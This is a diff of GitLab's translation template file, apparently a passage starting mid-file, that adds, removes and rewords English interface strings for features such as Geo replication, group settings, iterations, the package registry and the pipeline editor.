-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15115,9 +14776,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15199,6 +14863,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15862,9 +15541,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16396,13 +16069,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19279,9 +18982,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19676,9 +19373,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22459,7 +22153,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23877,9 +23571,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
